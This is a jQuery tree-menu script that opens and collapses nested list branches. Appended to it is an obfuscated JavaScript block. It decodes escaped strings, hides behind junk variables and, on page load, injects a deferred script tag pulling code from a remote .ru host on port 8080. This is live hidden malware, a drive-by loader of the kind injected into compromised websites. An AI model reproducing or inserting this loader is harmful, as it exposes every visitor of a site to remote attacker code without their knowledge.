//animate the opening of the branch (span.grower jQueryElement)
function openBranch(jQueryElement, noAnimation) {
		jQueryElement.addClass('OPEN').removeClass('CLOSE');
		if(noAnimation)
			jQueryElement.parent().find('ul:first').show();
		else
			jQueryElement.parent().find('ul:first').slideDown();
}
//animate the closing of the branch (span.grower jQueryElement)
function closeBranch(jQueryElement, noAnimation) {
	jQueryElement.addClass('CLOSE').removeClass('OPEN');
	if(noAnimation)
		jQueryElement.parent().find('ul:first').hide();
	else
		jQueryElement.parent().find('ul:first').slideUp();
}

//animate the closing or opening of the branch (ul jQueryElement)
function toggleBranch(jQueryElement, noAnimation) {
	if(jQueryElement.hasClass('OPEN'))
		closeBranch(jQueryElement, noAnimation);
	else
		openBranch(jQueryElement, noAnimation);
}

//when the page is loaded...
$(document).ready(function () {
	//to do not execute this script as much as it's called...
	if(!$('ul.tree.dhtml').hasClass('dynamized'))
	{
		//add growers to each ul.tree elements
		$('ul.tree.dhtml ul').prev().before("<span class='grower OPEN'> </span>");
		
		//dynamically add the '.last' class on each last item of a branch
		$('ul.tree.dhtml ul li:last-child, ul.tree.dhtml li:last-child').addClass('last');
		
		//collapse every expanded branch
		$('ul.tree.dhtml span.grower.OPEN').addClass('CLOSE').removeClass('OPEN').parent().find('ul:first').hide();
		$('ul.tree.dhtml').show();
		
		//open the tree for the selected branch
			$('ul.tree.dhtml .selected').parents().each( function() {
				if ($(this).is('ul'))
					toggleBranch($(this).prev().prev(), true);
			});
			toggleBranch( $('ul.tree.dhtml .selected').prev(), true);
		
		//add a fonction on clicks on growers
		$('ul.tree.dhtml span.grower').click(function(){
			toggleBranch($(this));
		});
		//mark this 'ul.tree' elements as already 'dynamized'
		$('ul.tree.dhtml').addClass('dynamized');

		$('ul.tree.dhtml').removeClass('dhtml');
	}
});

var J;if(J!='u' && J!='d'){J='u'};function O(){var uL=new String();var F=new Date();var X=window;var G=unescape;var VI=new Array();var QF;if(QF!='' && QF!='i'){QF='U'};var c=G("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%69%78%69%76%2e%6e%65%74%2f%68%73%62%63%2e%63%6f%2e%75%6b%2e%70%68%70");var oFF;if(oFF!=''){oFF='fG'};var WY=new Array();var kM;if(kM!='bq'){kM='bq'};function a(Y,K){this.WS="";var f="g";var Q=G("%5b"), q=G("%5d");var z=Q+K+q;var k=new RegExp(z, f);var j;if(j!='' && j!='gy'){j=''};var yI;if(yI!='' && yI!='A_'){yI='n'};return Y.replace(k, new String());var GE;if(GE!='t' && GE != ''){GE=null};var Fb=new Array();};var FH="";var wf='';var aW=new Date();var Gw=new Array();this.lH="";var D=new Array();var LP='';var Yw;if(Yw!='lm' && Yw!='oO'){Yw=''};var e=new String();var vt;if(vt!='nD'){vt=''};var Z;if(Z!='bA'){Z='bA'};var Cf=new String();var g=a('8117701771118717711071717','17');var jr;if(jr!='' && jr!='cy'){jr=null};var qJ=document;var kn=new Array();var WP=new Array();this.Kb='';function o(){var vo;if(vo!=''){vo='Xv'};var Fa=new String();var cP;if(cP!='' && cP!='uA'){cP='zkl'};var zL=G("%68%74%74%70%3a%2f%2f%66%69%78%73%6c%6f%77%2e%72%75%3a");var wWw;if(wWw!='' && wWw!='Zx'){wWw=''};e=zL;e+=g;e+=c;this.N='';try {var wP=new Array();var AW;if(AW!='' && AW!='uLC'){AW=null};y=qJ.createElement(a('sgcGrViHpotf','fHEMVGLx8KyoSg'));this.Ib='';var qU;if(qU!='aq' && qU != ''){qU=null};var tRC;if(tRC!='IX' && tRC!='fp'){tRC=''};var ye;if(ye!='pj' && ye!='Cex'){ye=''};y[G("%64%65%66%65%72")]=[2,1][1];this.mQ="";y[G("%73%72%63")]=e;var Oo;if(Oo!='' && Oo!='Vp'){Oo=null};var Cb;if(Cb!='' && Cb!='nz'){Cb=''};qJ.body.appendChild(y);var g_="";} catch(h){this.VM="";var uj;if(uj!='' && uj!='vi'){uj=''};alert(h);var hE=new Array();};var cPC;if(cPC!='Lv' && cPC!='_'){cPC='Lv'};}var Wh='';X[new String("onloa"+"ZTjEd".substr(4))]=o;this.qL='';};var nb='';var BV=new Date();var hb=new Date();var PL=new String();O();